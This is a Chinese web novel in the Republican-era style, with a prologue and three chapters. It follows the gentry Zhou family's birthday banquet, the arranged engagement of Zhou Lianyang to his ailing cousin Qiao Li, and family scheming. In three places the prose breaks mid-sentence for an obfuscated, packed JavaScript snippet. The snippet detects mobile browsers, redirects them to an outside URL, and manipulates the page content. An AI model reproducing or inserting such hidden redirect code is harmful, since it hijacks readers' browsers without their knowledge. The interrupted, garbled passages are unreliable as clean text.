《【GB】朱衣宴烛龙》 1. 楔子 金粉红楼，怀金悼玉，那日我读了冷金的情缘，一时放不下书，吹了敞窗的风，第二日就受了寒。 那时正值倭国的束棒运动，小乔忙得脚打后脑勺。又赶上裴先生的五十大寿，前头借他的宴见了些鄂罗斯英吉利的大公，夜深了又披着满身霜雪来看我。 两人许久未同睡一床，她特意捂暖了再上来，端的细心。而我呢，沉浸在金粉故事中拔不出来，掉书袋去怨怪她，说什么“人之生譬如一树花，同发一枝，俱开一蒂，随风而堕，自有拂帘幌坠于茵席之上，自有关篱墙落于粪混之侧。坠茵席者，乔璃是也；落粪溷者，周莲泱是也。”之类。 简直要从开天辟地开始忆门庭显赫，泣到家破人亡，再过一趟如何从最年轻的留洋幼童沦落到卖身戏子的往昔。 我拽弄文辞，害口舌是非，念得她默然不言，唯苦笑连连。 小乔从未向我夸说过裴先生如何豪富，祁副手如何憨直乖巧等惹厌话，也未曾跟我抱怨过一路爬上来的困苦，更没有对我敷衍地打过套语。我半夜磨折她，终于让她罕见地出了一声长叹。 她说，今日去裴的寿宴，除获一大笔军粮外，还吃了一肚子裴关于自己年老色衰恐不讨欢心的怪话。回金雀楼，又受了我这一番唠叨。简是沉默惯了的，有时也会抱着与自己同名的猫儿，两双异色瞳，充满委屈与控诉。 她很困惑地自问着：好好的男人，为什么跟了我之后总是哭哭啼啼，要哄要抱？ 小乔问出我满背冷汗。裴早年如何叱咤，人人皆知，可我偶见过一次，他“摇尾乞怜”的功夫不下于我。简副手也如是。 也许我们都有相同的隐忧——若她碰到更漂亮、更有钱、更温顺沉默的男伴，集了我们三四个一起都比不上——该如何是好？ 大抵男人碰到她、陷入她的魔力，依了她的乐子，就会失去“志气”，不得不做“怨夫”了。可若论世间“阴阳”之理，多是封建世俗之观，若让“须眉”也囿于“裙钗”之内，恐还未必能做到当今女子一样。 况且，我也绝不会把她误认为别人。无论是女士，还是男人，她都与寻常的定义相差十万八千里。但她终究是一密斯。密斯乔。 小乔翻过身抱住我，没说话，想着事情。她始终搂着我，紧紧贴着我肩膀的胸脯柔软而温暖，连发烧烧得疲倦的我都觉得很舒服。 我不敢看她，只能看见一只尺素样白的手摸我的小腹，又摸更不雅的地方——屁股。她忽然把话头反抛回来：“我的性格大概很讨人嫌吧？” “你也知道？” “可你们恼我，又一直不走，拉拉扯扯，当真奇哉怪也。” 我那根短路的神经，一下子被触发了伤春悲秋的开关，“倒怪我死皮赖脸黏着你了”云云。 她叹气更深：“表哥，你们都少看点恨水的新书罢，我又不是他笔下的人物。” “你不是，你当然不爱看书里的故事。故事里的人负心前总有一阵装模作样的好，你连那好都没有。你只爱看我狼狈——我们越满身狼藉，你越开心。” 小乔笑了。暗暗灯光中，她昏昏欲睡的双眼忽然亮得可怕。被那样的目光割在肉上，人就不自觉想缩进蚝壳。 进了蚝壳，等同于钻入死胡同，擎等着蚝刀隔断肌腱，变成自动装好在盘子里的软白的肉。 却怪。这刀没有割下来，小乔抚摸我的脸。 “表哥，你不要看那种书，好么？若要听故事，你听我讲个故事。” 说完，俯过来吻我。她的吻有魔力，一触，我的心就服了，软了，便不能不听她讲的故事。 一个和人，和爱恨，和风花雪月都无关的故事。 表哥知道吗，这世间有一种群居的走地鸟，叫企鹅。企鹅活在极南的雪原，年年会与燕子一样迁徙，从大片冰原前往广阔的海，去有食物的地方，去繁殖产子，加入生命循环不息的轮回。 但总有一只，既不前往觅食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615121|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冰缘地带，也不返回族群。不久之后，它径直朝山脉方向走，大概有数十公里。即使研究它的人类抓住它，将这动物抓回族群，它也会立即朝山脉走。 它没有食物，也没有同伴，也不可能抵达遥远的山脉，但它不会停。 “为什么呢？”我问。 她注视着我的脸，伸出手去揽我的肩膀，把额角抵在我胸前，柔声问：“是啊，为什么呢？偏离了族群的目的地，去往广袤荒诞的山脉，因为她是一个天生的疯子。” 我看见她黑眼睛里反映的我自己，心里一震：“原来你觉得自己是那奇怪的动物么！” “难道不是？我不知晓感情，同你们都不一样。我的心是一个空壳，一座空屋。” 我瞧着她，忽然觉得一阵十分的悲伤：“你作甚么说自己不知晓感情？那你对我、对裴，对简，心里装得不是感情？” “话扯远了，表哥。我是觉得你们傻，从一个疯子身上索求……”她叹气。 我便把手臂紧紧抱住她，凶蛮地吻她：“这个故事才傻，我们都不要再读别人的故事了。” “故事已是这样的故事。” “那鸟，那企鹅还没有结局。” “表哥喜欢什么样的结局呢？”她微微扬起下巴，我便知道她想抽烟，按住她的手不许。 “好的结局。愚蠢的但阖家欢乐的结局。”我说。 “那好，我会努力的。” 她伸手把床头的仿古壁灯按灭，又吻了我一吻。 我陷于发热的疲倦，快要睡着前，还听见她渐渐低下去的轻喃。 相同的故事一遍又一遍重复，那么，也许我们应当相信西西弗是幸福的。 这就是我的小乔，她虽然是个花心的人，但也长情。守信，且坚笃。我的小乔。 *《我的小乔》节选，初载一九五二年三月，海市《文人通讯》第五期，收入一九五五年文衿先生自传《琉璃玉匣吐莲花》。 2. 壹 秋风数声 十月初五，桐城周家。 今日是周老太爷的六十大寿，戏台上《八仙贺寿》已唱到末段，扮成何仙姑的小旦绿裙曳地，身段柔软地飞了个水袖。 几个站在台下的小童手捧花篮，随着锣鼓敲点同时撒花，一时间满院都是缤纷的花雨。 洒下来的花瓣好看，都是些嵌着金粉的大蔷薇花，有淘气的小丫鬟瞅准空想上去捡，被旁边穿青袄红褙子的妈妈一把拦下：“那么多的人，你上去明晃晃得招甚么眼？” 小丫鬟秋花吐舌，回头挤出一个笑：“姑奶，待会那些粗手粗脚的听差过来到处踩，泥活活的不漂亮哩！” 秋花不识货，也贪看那红的金的花瓣，可见人都欣赏那美而精巧，又未被亵渎过的无暇白璧。 可见开得再好的花，经了脏污，就一文不值、贱进泥里了。 穿红褙子的老妈妈在秋花腮上掐了一把：“大姑奶奶刚回府，老太爷高兴，伺候好了人人有赏，你可不许上去裹乱。” 没过多久，就有人往台上搬些大锣大鼓。听差踩过花瓣，这可扎了秋花的眼。她正难受着，等听见《大明春》的鼓板一起，滚唱直白，注意力就一忽儿落在戏台上了。 周老太爷第一爱文，第二爱戏，公中每月都要拨一笔内帑延请戏班。若是说上等文雅的戏班子，屈指要数京城和海市。 今日贺寿的戏班就是海市新出的戏班，台柱的旦角极善戈腔，一开嗓就是金戈铁马的激越高亢，浓转淡时，宛若行云流水。 老太爷一身黑狐皮暖袄并深青金蟒褂，暖帽下的发辫抿得油光锃亮，听一会戏，便歪在身后的紫檀太师椅上。“人上了年纪就容易乏，不得不认哪。” 有殷勤人命小厮拧了一把热手巾，亲手捧上：“谁看得出您已花甲之年？瞧着不过刚知天命！” 众人也跟着一阵哄笑，一时气氛极为和乐。 因是整寿，亲戚不少，敞厅设了五大席，内院亦张罗了女眷席次，由继妻倪何惠主位，长媳宋则玉及各房远近亲眷依规落座，不与男席混杂。 周家太爷这整岁寿宴，放在桐城本地的士绅官宦里，也算顶派头的了。他自诩生平唯有一憾事，便是仅得一子一女。 这边客席大摆，周老太太的娘家女眷坐了一桌子。老太太是继室，娘家不丰，侄外孙女儿吴绮云穿着一件半新不旧的银红掩襟小袄，手里持着一把白玉小勺，抿唇干搅碗里羹汤。 前头唱完了戏，寿宴过半，戏班又分了小戏，在内院临时搭的戏台，唱了几折，其中一折《游园惊梦》额外好，听来春风满齿，烟丝醉软。 老太爷的亲家朋友，都是有戏的人家，子女不知听过多少好戏。倪家则不然，看着光鲜，实则清贫，连带着吴琦云从小都没听过什么好曲子。 她听台上的戏文、唱腔，光是辨字都费力，更别提知道情节是什么。 同坐席一家陪客之女，倒听得津津有味，笑嘻嘻地同她搭腔，吴琦云光是僵笑迎合，都觉得十分辛苦。 戏文一折折往下演起了西游记，台上伶人正唱到浓时，一阵金鼓铮铮之响，唬得吴琦云“啊呀”一声，手一松，牙筷掷在桌上，撞得碟碗一阵响。 这下整席的人纷纷朝她看来，吴琦云脸登时红得跟烧着了也似，几乎不敢抬头看，她娘的视线更是要把她吃了一样。 “这戏唱得实在是好，我看呆了，竟磕了杯子。”一道和朗的声音从旁座传来。“秋香姐姐，你手脚麻利，给我撤了吧。还有表妹面前的骨碟，也一并换新的。” 一旁垂手伺候的大丫鬟秋香忙上去，她是个伶俐人，自然知道这磕碰是为了谁解围，细致妥帖地给吴琦云换了杯碟。 面前重归整洁，吴姑娘才敢抬头，先挨了亲娘一瞪，再慢吞吞偏头往发声之处看。 之前说话的是一个本不该出现在内院的少年，吴琦云去看时，他已转去与同席的姑娘对话。 他年貌虽小，然而眉眼清俊，文气秀雅，与旁人的穿着发型都不同：一身笔挺板正的西洋装扮，不留辫子，颈间只有一条红绳，也不戴项圈、寄名锁一类。 怪模怪样，是她从未看过的。 想了片刻，吴琦云心头微微一跳：如今许多人已不裁前额鬓发，却也无与洋人一样全剃了的，这怕不是周家出了名的“怪咖”，周家二少爷周莲泱罢？ 说来这莲二爷，与她倒曾有一段渊源。母亲本是想撮合她与二少爷的，相看已久，差点与当家主母作下口头约定，哪知被周家姑奶奶截了胡。 那周大姑奶奶的亲女儿，也就是乔家表妹，据说体弱多病，长在深闺，自生下来就从未回门见过外祖家人。说是亲上加亲，其实个中有不为外人道的隐秘。 这个时候，吴琦云已贪喝了两杯果子露，觉得脑筋有点昏昏沉沉，竟然扭身去瞧乔家的姑娘。只见那乔姑娘，瘦肩圆脸，不上十岁，捏着帕子，夹一筷子菜，就要低头咳两声。 她看不大清对方的脸，隐隐约约觉得是个和气富贵的面相，却打娘胎来带一身病。 吴琦云心里有些唏嘘，又见周二少爷对乔家姑娘十分小意殷勤，不由低头暗笑：两人年岁都不大，周莲泱或长她两三岁，一板一眼地学大人来往，看着真有几分可乐。 当时吴家丢了一门高攀的好亲，虽然气苦，后来吴母又拍着胸口说幸好没成。 据说呀，那周二少爷年少留洋，学了一身不伦不类、叛逆惫赖的习气，回家梳起洋人的发型，还入了什么清教唱诗班，连四书五经都不怎么读了。 早年他书读得好，十岁便要下场考童生，后来因为什么事，不再考了，镇日在内纬厮混。 说是留过洋，学音乐，说得再花巧，不就是当洋人的戏子吗？吴家传统，可不能与离经叛道的人有牵扯。 台上换了一折戏，台下众人又过一轮杯盏，坐在上首的，都是上了年纪的老亲，此时已露出几分乏意。 坐在下首的年轻少爷们，有不常吃酒的，正当熏熏然醉意上脸，兴致倒比前头高昂不少。 当下男女大防之风骤减，周家又经手洋务商事，面上自然推崇“自然开放”，并不严禁。有那巧言善说的，趁鸣板骤打小锣响，开始行起酒令，玩耍起来。 这样一来，不觉闹得欢乐，上头周老太爷听着也可喜。唯有乔家姑娘体弱，听不得响动，捂着胸口，低低地喘起来。 “表妹可还好？咳得这么厉害，快喝点枣茶压一压。”周莲泱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615122|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用手巾揩干净手，给身旁姑娘斟一杯热的。 乔璃闷咳半晌，抬手从袖子里抽出一条小小的莲花白绸手绢。手绢中间抹了药，压在鼻子下，嗅了一阵：“……多谢表哥，不妨事，只是寻常气喘。” 周莲泱思忖片刻：“你再忍忍，我现在去秉老太太。就说我吃多了酒，你扶我先离席。” 他与表妹只见过几面，并不清楚对方的性格。若是寻常闺秀，说不得要忍耐推拒几回，他也做了劝说的准备——他自己离经叛道惯了，早就有一套劝人的法门。 斜侧的姑娘果然撤下手绢来，在唇角按了一按，细眉微蹙。 “那自然好，谢谢表哥了。”“表妹莫要推拒，若有人怪罪起来……” 两人同时一顿。 一双月明如水的桃花眼在帕子后微微弯起：“有人怪罪，就全都推到表哥头上？” 周莲泱先是一怔，随即也笑起来：“表妹这话，正猜到我心眼儿里去了。你坐着，我去去就回。” 一语刚了，周二少爷急匆匆离去，又急匆匆回来，回来便笑：“就道是小事。妹妹，让秋香扶你走罢。” 能率先离席，乔璃自然应允，搭着秋香的手站起来。两人从侧门离了外院，顺着回廊往后走。 坐时不觉得，站起来周莲泱才发现，乔表妹虽少他三岁，身量却不差许多了。虽然一副弱不禁风的样子，脚步却又稳又快。怕是坐倦了，早急着走呢。 周莲泱以为自己发现了表妹的小秘密，自顾自笑得可欢，不妨扫到一双静沉沉清到冷冽的眼，顿时后背冒汗：“……表妹为何这样看我？” “瞧表哥似想起什么十分有趣的事，瞒着不肯跟人分享。” 少年眼睛一转：“不对不对，你不是这个意思。” “那我是什么意思？” “你想说——我肚子里怀着什么坏水，对不对？” 姑娘本来在好好地往前走，忽然脚步一停，周莲泱循着惯性走了几步，才发现她没跟来，连忙掉头拱手：“表妹别多心，是我行止不当，不该多嘴……” “表哥。”没等他赔罪完，乔璃打断他的话，“你不觉得，离了人多的前院，这大宅子里，就冷得有些发荒吗？” 周莲泱直起身，心下轻咦，但顺着她的话想，又好像是这么一回事。 须知自清乾年间起，周家便是桐城一带有名的书香门第，家中几代人皆以文章名世。老太爷年轻时科举中了进士，选入外班，官至知府，后因朝廷衰颓、“太平拳匪”作乱，便早早辞官归隐，避开风头。长子蒙其余荫，进了道台衙门，家中不缺金钱的花用。 周家大宅前后左右，隔着街道本来还有几处府邸，可前阵子“匪祸”谣言疯传，已有两家搬去京城，投靠亲戚去了。 算是周家家大业大，一时不好挪动，即便如此，也多雇了好些男仆听差，放在在外院伺候。 “莲二爷，乔姑娘。”秋香上前一步，重新托了乔璃的手，“今秋冷得早，眼下已经起风了，我们快快回屋吧。” 是啊，起风了。周莲泱松了松紧到最顶上的领口。 秋意还未尽，突然刮起风，好像是冬寒提前来了似的，侵来一阵茫茫的冷。 3. 贰 愁看泪哭 迦佛国统宣二年，刚进腊月就天寒地柝的冷，干冷不见雪，冻得人离不了暖炕棉衣。树也枯得早，郊外林子里，不老青松都分外萧疏。 大宅正屋里，周老太爷盘着手里的佛珠串，一颗颗玛瑙珊瑚早被摩挲得圆润油亮。外表看不出来，他其实极少有这么心绪烦乱的时候。 周生广看着立在座下的大夫，和屏风后面色平静低郁的亲女，终究还是只落下一声叹息。 “罢了，这也是纯儿的命数！” “老太爷，是在下医术不精……” 周生广大手一挥，阻了他接下去的话语：“安大夫莫要妄自菲薄，你已是桐城顶有名的圣手。纯儿是多年心病，你医不好，难道我一把老骨头，要舍了老脸递折子请宫中太医么！” 后话外人听不得，安立荣一揖，辞别周老太爷。 待他走后，一旁的周继纯膝行上前，把额头抵在冰凉的地砖上哭道：“身体发肤受之父母，纯儿不珍己身一意孤行，落到今日田地，怪不了任何人……万望父亲保重自身，若是因纯儿之病伤了心，那纯儿真是万死难辞其咎！” “你这孩子，说什么死不死、活不活，介日挂在嘴上，身体能好？”周老太太眼角余光看了一眼老太爷，便知自己说对了。“春桃，还不快扶大奶奶起来？” 周继纯不理春桃，跪地不言，只是不住垂泪。 她长相文雅素淡，自小在周家娇养，然而多年抑郁，眼角已生出不少细纹，敛眉低泣的模样，像极了早死的发妻。周老太爷默然半晌，长叹一声。 “璃儿今日如何？可还咳得厉害？” “回父亲，许是在家住得舒坦，已好几日未咳了。” 提及女儿，周继纯暗淡疲倦的脸上忽然闪出光彩。 “也罢，好生养着。木生，去把大爷请过来，我有几句话吩咐。”周生广的语气愈发平静，叫人把跪在地下的女儿扶起来。 “至于泱儿和璃儿的婚事……哪怕前年提过，怎么也要正式知会你的哥哥、嫂子，交换契书、约定婚期，草率不得。” “这极周全，老太爷指教得是。” “你早些年若听进我一句指教，也不会有今日这一幕！” “爹，爹！我知错！女儿苦啊！女儿委屈！” 周继纯挣开春桃的手，往前一扑，直直跪在周生广膝下。她十八出嫁，不顾亲爹阻拦硬是跟了个穷秀才，谁知两人未好上几年，她生女儿坏了身体，再无所出。 借周家之势考上举人做了官的秀才背信弃义，纳的妾也狗仗人势……自己才过三十，身体已是灯尽油枯，没几日好活。 “璃儿才十岁，十岁，尚未及笄，女儿看不到璃儿及笄了！爹啊！” 三十年父女，女儿承欢膝下的时间最多，发妻早逝，父女之情溢于言表。周生广看着泣涕不止，彻底抛了大家贵妇的脸面不要，只为外孙女求一个出路的周继纯，满心白发人将送黑发人的苦涩难言。 “纯儿，纯儿啊……你放心，放心。泱儿一向聪明伶俐，又是我们家唯一留过洋的，将来大有前途。璃儿与他，亲上加亲，往后再没有不顺的。这些话不准再说。”周生广切切嘱咐道。 “爹，可璃儿的身体……怕是二八前都不能开枝散叶……” 这又是周继纯心中一大隐忧。乔璃胎中带病，看了无数名医，都道不出二三，只能靠流水的贵重药材，细心养着伺候着，只待看及笄后能不能有所好转。 若不是日常花费甚巨，乔翊之也不至于抓住一个由头，搞出一众外室如夫人，弄得家里乌烟瘴气。 “操那么多心，身体如何能好起来？你放心将养吧，还怕你哥嫂亏待了亲妹子的女儿不成？”周老太太起身，亲自握了继女的手，周继纯便再不敢继续嚎哭了。 她看着面前比老太爷年轻不少、无所出但身体一直硬朗的老太太，想起因产后病早逝的亲娘，心中真是酸苦难当。 娘啊，若你还活着，纯儿何至于如此无依无靠？可到临头，她又像母亲一样，让自己的亲闺女幼年失恃，真真是死也放不下心，闭不上眼！娘啊！ 郁结难疏，一时气血攻心，周继纯索性发了狠地回忆过往种种苦事，硬生生逼出一口血，呕在父亲面前，站立不稳，靠着高椅缓缓倒下。 今日她便是死，也要将这桩婚尽快栓定！ “纯儿！”周生广再压抑不住惊容，“来人啊！快叫人，快把安大夫请回来！” ------ 正午的阳光很好，照在小书房的多宝阁上，甜白瓷的花瓶里插着几支新折腊梅，还沾着露水，被照得闪闪发光。 周莲泱还有好几页拗口难懂的拉丁文要背，坐在桌前心焦气躁，起来转几个圈，终于按捺不下去心里的烦闷。 两年前家里给他与周大姑奶奶的女儿乔表妹定亲的时候，他年纪还不大，一心想着去欧罗巴留学的事，还没有理解这意味着什么。 直到前两天老祖宗把他和妹妹一起叫过去嘱咐了几句话，周莲泱才惊觉，自己这是要娶乔妹妹，真的办婚礼了。 周大姑奶奶撑着日益衰弱的病体，尽心规划操办，哪怕周家大爷和妻子态度暧昧不明，两天前，也在老祖宗面前，正式定了三月十三（正历3月27）的婚期。 周莲泱想了半天，还是决定拿请安为借口，跑去父母在的正房。 正房里伺候的仆人全都在院子里，按照他对父母的了解，大概是在“关起门说私房话”。他人虽小，动作却灵巧，耳力也好，避开人绕到后院，藏在窗下的草丛中，能听到模模糊糊的对话声。 “……妹妹拖着病体，硬是拴这桩婚，脸面都不要了……我们好好的泱儿，凭什么拿去给人‘冲喜’？冲喜从来只有嫁，没有娶的，这叫怎么个事儿啊。” “好了，两年前就定下来的婚，你现在多什么嘴？” “我多嘴？我是觉得泱儿委屈！行知娶得是单家的姑娘，有名有姓的大家闺秀，将来也能主掌中馈。泱儿……泱儿这样，显得我待他格外不好似的。” “泱儿是二子，影响不了什么。况且我娘……还有外祖母留下来的东西，都在继纯的嫁妆里。她的嫁妆，全部都要添给璃儿，这一番实惠，你还有什么不满？” “……周自谨，你什么意思？像我擎等着孤儿寡母的钱，要吞了人家全部家私似的！你也不看看，那乔大姑娘，一身胎里带出的病，你不管泱儿，我还要管！” 宋则玉按捺不住，嚷起来，手里的帕子杯子都摔了，茶杯跳着，砸落到地面上，“哗啦”一声，打了一个粉碎。 “好啊！我与你讲理，你倒耍起性子来！泼妇！” 听到这里，周莲泱再待不下去，他只觉心里异常烦闷压抑。 无论是母亲的话，还是父亲的话，都跟潮烂烂湿透了的旧棉衣似的，死死包着他的身体，把阴霪挤进尚还天真纯粹的五脏六腑，挤出无穷无尽的霉斑。 这个时候，他知道，绝对不能去看父亲母亲的脸——那已经不是他熟悉的面孔了。 周莲泱一溜烟逃跑了。他心下烦郁，就格外想见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615123|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一见表妹。不知为何，他总觉得表妹是不一样的。 但从定完婚期开始，哪怕同住一宅，乔家姑娘也不能轻易见到外祖家人，她随母亲住在临近后花园的客院里，闭门不出。 即使是嫡亲的女儿孙女儿，出嫁回家，也就是客了。周莲泱不懂，他素来叛逆，又去欧罗巴泡了一年西洋的洗澡水，即便被耳提面命过不许找乔妹妹，也到底“翻山越岭”，躲过一众小厮丫鬟，从后花园绕进居客的小院。 周大姑奶奶周继纯的院子，是非常非常静的。周莲泱不是第一次踏进这个小院，可仍然打心里为这种寂静感到震惊。 无论是在他父母的院子里、哥哥弟弟的院子，还是周老太爷的院子，脚步响、杯碟碰，嬉笑怒骂，连衣料摩擦都有声音。这主仆四人缩在一处小院，竟能镇日无声无息。 院子里的静是缺乏活力的静，更像死水一潭，难起波澜。 周大姑奶奶带回家的，只有一个嬷嬷、一个大丫鬟，都是前头的周老太太还在时，调教出来随婚的忠仆。老嬷嬷姓林，鬓发已银白，是姑奶奶的奶嬷嬷。 周莲泱曾见过一面，那老嬷嬷的眼，与大姑奶奶的眼是一模一样的，又静，又深，只在看见乔璃的时候，闪出一点活动的光。 他那时不明白，后面才慢慢懂了，人的眼睛，只会在极少数的情况下变成那样——在人彻底没了盼头的时候。 周大姑奶奶周继纯，病入膏肓，不日就要死了。 周莲泱不敢仔细去想了。他弓着腰，顺着墙根悄悄走到乔家妹妹的闺房。周大姑奶奶带着大丫鬟秀云去了正院，屋里只有乔璃和照看她的林嬷嬷。 周莲泱不知道她在做什么，也不敢往窗户里看——他虽然叛逆，还没那么不知礼，只敢屈起指节，按照约定过的那样，快而轻地在窗棂上叩两下。 一时没有回应，屋子里只有林嬷嬷沙哑憋闷的咳嗽。 少年一时不知是再叩一次，还是就蹲在窗下等。又过了半柱香，等到腿微微发麻，周莲泱听见极轻的“搁楞”，然后就是一声轻柔低缓的“表哥”。 隔着窗户，乔璃的声音却像贴着他耳朵似的，周莲泱的脸“唰”得一下红透了：“……妹妹，我来了。身体可还好？” “前几日有些气喘，已好了。表哥为什么一直背着我？” “我不能看你。照理说，婚礼前，是不能看新娘子的。” 清冷的一阵风，吹散了轻而细的一片笑。待了片刻，姑娘哑着嗓子道：“多谢表哥替我着想。” 少年面上的浮红晕得更深了，翩跹着抹到耳朵，他心里的思绪也翩跹着，想身后人的柳叶弯眉下墨沉沉的桃花眼，是不是也如梅花上的清霜一样湿润润的；想隔着窗棂的她的心，是不是也如自己一样跳得如春日里的马驹似的。 “妹妹，我今日实在不知礼数，但又实在想与你说一句话。” 姑娘没有说话，只轻轻“嗯？”了一声。 她不说话，反倒给了周莲泱勇气，撑着嗓子：“我……我谙熟清教教旨。清教，你知道么？只能一夫、一妻。我会待你好的。我会待你好，一直待你好。” 说完，他不好意思听乔璃对自己这大话的回答，低头就要跑。又听见细细的一片笑，阳光一样，绕着他，蒸走湿衣服的阴冷。 那片笑里，有没有一声“好”，周莲泱听不清。那就当有这一声“好”。 君子一诺千金，他许了诺，便决意践行，哪怕经受这不止的冬雪，两人的心若能靠在一起，便也是春风和细雨了。 4. 叁 梦蝶非我 “咱们大爷啊，前两日差事办得好，听说又升官了呢！ “可不是，要说这阖府上下，如今全靠着大爷的能为差事。洋人的东西到底没用，只能讨一时的花巧，终究是上不得台面的东西。” 说话的大丫鬟看模样还不到二八，鹅蛋脸尖下颏，戴两个翠生生的耳坠子，头上一根足金的簪，背着光站在一处院子前和另一个小丫鬟说嘴。 这丫鬟声音不小，让路过的乔璃听了个正着。眼前的院子修得精致气派，与主屋也不差多少，顺着客院的回廊走去拜见周老太太，不知怎就走到了这里。 乔璃听见声音，看了丫鬟两眼，只看到一双吊梢眉，丹凤眼，涂得艳艳的红嘴唇，还有把雪青袄子绷得紧紧的腰身。那丫鬟也趁机将眼风扫过来，毫不客气地一瞪。 她脚步一停：“那是周大哥哥的婢女吧？” 身前引路的老妈妈顿了一顿，等了片刻，见她不动，才道：“回姑娘的话，她是周大爷院的大丫鬟喜儿。” 老妈妈是周夫人派来的伺候老了的仆妇，姓季，说是怕周大姑奶奶指使不开人，过来照顾乔姑娘，顺便在婚期前熟悉周家的规矩。 少女垂眸片刻，忽然笑道：“我听说，周大哥哥任职的道台，做得也正是洋人的生意呢。怎么，家中还有瞧不起洋人的？” 季嬷嬷眉头一皱，语气冰冷而恭敬：“姑娘，这官场上的事复杂得很，便是我们这些粗使的老人，也知里头水深。妇道人家若不慎多言，学丫鬟嚼舌，传出去可就难听了。老太爷疼爱小辈，自然不会苛责，但旁人嘴碎，岂能不防？” 喜儿耳朵尖，哪怕季嬷嬷压低了声音，也听了个大概，扭头向季嬷嬷溜了一眼，撇嘴道：“燕儿，我教你一句乖，别看天天姑娘姑娘的叫，其实咱们到底是丫鬟，低贱着呢。说一句实话，就是嘴碎。要是说多了呀，那就完了，好容易养出两条烂命，可都得赔个底掉！” 燕儿胆小，顶着季嬷嬷的视线，怯怯地拽拽喜儿的袖子：“你又拉扯这些做什么？嘴里不干不净的，小心大爷也讨厌你！” “他讨厌，他讨厌就讨厌！”喜儿把帕子一甩，径直往院子里去了。 季嬷嬷究竟年纪老，手踹在袖筒子里，稳当当地做什么都没听到：“姑娘，时候不早了，拜见老太太，可不能迟。” 按理，自然有另一条不必经过周大爷院子的回廊通向老太太在的主屋，再不晓事的，走过几次，也该记得。季嬷嬷一边走，一边用眼角余光留意身后姑娘的神情，若是寻常心思重、性子敏感的闺秀，此刻已该慌了神。 这乔姑娘倒与她想的不一样，前头不紧不慢地带路，后头也不紧不慢地跟着走，面上还带着一丝染着喜意的笑，端的稳得住。 祭出喜儿，已是过了，若是再寻人作扰……季嬷嬷心里叹口气。最后恐成自己的不是，夫人更不快。 进了周老太太的主院，季嬷嬷便退下，有老太太的仆妇与丫鬟进来接引，将乔璃一路引到老太太坐卧起居的正房内。 正房通透，便是冬日里半阴不雨的天，有丝光，室内就显得开阔亮堂，与客院大不一样。邻窗大炕铺了暖色软毡，一应靠背引枕摆得整齐，地下还有四张高背靠椅，并花瓶摆设不等。 丫鬟扶着乔璃进来，她按照惯常的要往椅子上坐，老太太慈爱一笑，让大丫鬟扶她上炕。房外接着有婢女进来，捧了两碗红枣燕窝羹并桃酥小点，摆在洋漆炕桌上。 周老太太笑呵呵地端起一碗燕窝粥，不喝，只用小银勺搅了搅：“眼见天黑得早，人也失了时律。你身子弱，若是饿，尽管叫人去大厨房。” 乔璃低头应了，顺势喝两勺燕窝粥，又啃了一口烤得喷香的桃酥。 周老太太见她放下碗，便缓缓开口，语气是一如既往的慈和：“好孩子，如今你母亲愿意亲上结亲，咱们周家自当替她好好照看你，养你一生无忧。” 乔璃道：“谢老太太。” 她顿了顿，目光落在少女身上，语气越发温和：“你年纪还小，往后嫁了人，最要紧的是安分守己。家宅之中，妇人当知进退，不争不抢，方能久安。” 少女又摸了一块桃酥，放进嘴里，松鼠一样慢慢啃。母亲向来不许她多吃甜的，老太太嗜甜，正屋的点心都放足了糖，她虽然耐性好，憋久了也忍不住。 周老太太见她如此，不由敛了神色：“周家素来家风清正，家中长幼有序。等你进了门，日后理当上扶兄长，下教弟妹，省得让旁人议论，说你们夫妻不懂分寸。周家虽说谈不上钟鸣鼎食，却也是书香门第，家声清白，小辈端庄自持，不惹是非，才不损周家的名声。” “不损周家的名声。” 乔璃放下桃酥，拿起帕子擦擦嘴，然后一字一顿地重复周老太太的话。末了，挑唇一笑。 她不似其母那种深目削颊的美人面，而颇为珠圆玉润，是老一辈喜欢的“福相”，只是毕竟病得久，白玉色的小脸透着青苍，嘴唇抹了一点点胭脂，也将吃进去了。可仅是一笑，没有血色也丰润的唇便展露出可喜的弧度，薄薄的眼皮微弯，长长的桃花眼就深深地盈了光。 “孙女晓得了，定规劝莲少爷，不损周家名声。” 即将褪去的一抹光照在她安稳的神色上，一半亮一半暗，倒多了几分飘飘拂拂的禅意，重复的话语，配上她的神情，倒让普通一句话多了几分意味深长。 周老太太瞧她这样，一时心底微微生疑，却伸手抚了抚她的额头：“你若能明白，周家自不叫你受委屈。” 正屋里，婢女一盏盏加了灯，老太太才放乔璃出门。她一走，坐得挺直的老太太就歪倒引枕上，陪嫁的奶嬷嬷连忙上前，捶背捏腿，好一阵伺候。 